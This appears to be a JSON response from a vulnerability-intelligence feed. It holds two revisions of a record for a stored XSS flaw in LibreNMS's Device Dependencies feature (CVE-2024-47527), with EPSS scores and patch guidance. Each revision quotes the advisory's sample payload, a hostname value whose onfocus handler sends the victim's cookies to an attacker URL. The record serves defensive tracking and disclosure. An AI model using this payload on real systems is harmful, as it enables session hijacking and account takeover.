{"items":[{"id":"NVI-00007508","kind":"vulnerability","title":"LibreNMS has Stored Cross-site Scripting vulnerability in \"Device Dependencies\" feature","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-rwwc-2v8q-gc9v","CVE-2024-47527"],"plain_summary":"OSV carries this publisher advisory for librenms/librenms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 24.9.0 for librenms/librenms. Confirm the publisher’s latest guidance.","source_ids":["sr-de62d3b3bdb897f7f3c90baac5963f99"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1c92060876216d2490c874db7c0c3b9e"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.527%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.4465. Missing scores are unknown.","source_id":"sr-1c92060876216d2490c874db7c0c3b9e"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-de62d3b3bdb897f7f3c90baac5963f99","url":"https://github.com/advisories/GHSA-rwwc-2v8q-gc9v","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-rwwc-2v8q-gc9v","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.367Z"},{"id":"sr-1c92060876216d2490c874db7c0c3b9e","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-47527","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.827Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-de62d3b3bdb897f7f3c90baac5963f99"],"technology":"librenms/librenms","known_exclusions":[],"conditions_summary":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Device Dependencies\" feature allows authenticated users to inject arbitrary JavaScript through the device name (\"hostname\" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.\n\nFor example, the following payload can be used to exploit the vulnerability:\n```t'' autofocus onfocus=\"document.location='https:///?c='+document.cookie\"```\n\nWhen the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.\n\nThe root cause of this vulnerability is the a","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 24.9.0"]}],"null_published_at":"2026-11-07T14:01:58.723Z","source_updated_at":"2024-10-01T22:16:54.319Z","source_disclosed_at":"2024-10-01T20:31:04.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.367Z"},{"id":"NVI-00007508","kind":"vulnerability","title":"LibreNMS has Stored Cross-site Scripting vulnerability in \"Device Dependencies\" feature","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-rwwc-2v8q-gc9v","CVE-2024-47527"],"plain_summary":"OSV carries this publisher advisory for librenms/librenms. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 24.9.0 for librenms/librenms. Confirm the publisher’s latest guidance.","source_ids":["sr-de62d3b3bdb897f7f3c90baac5963f99"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-0fa255159deb657b5dea7bf251b2cd12"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.527%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.44669. Missing scores are unknown.","source_id":"sr-0fa255159deb657b5dea7bf251b2cd12"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-de62d3b3bdb897f7f3c90baac5963f99","url":"https://github.com/advisories/GHSA-rwwc-2v8q-gc9v","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-rwwc-2v8q-gc9v","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.367Z"},{"id":"sr-0fa255159deb657b5dea7bf251b2cd12","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2024-47527","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.368Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-de62d3b3bdb897f7f3c90baac5963f99"],"technology":"librenms/librenms","known_exclusions":[],"conditions_summary":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Device Dependencies\" feature allows authenticated users to inject arbitrary JavaScript through the device name (\"hostname\" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.\n\nFor example, the following payload can be used to exploit the vulnerability:\n```t'' autofocus onfocus=\"document.location='https:///?c='+document.cookie\"```\n\nWhen the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.\n\nThe root cause of this vulnerability is the a","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 24.9.0"]}],"null_published_at":"2026-10-31T22:13:44.240Z","source_updated_at":"2024-10-01T22:16:54.319Z","source_disclosed_at":"2024-10-01T20:31:04.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.367Z"}],"next_cursor":null,"snapshot_revision":"42594"}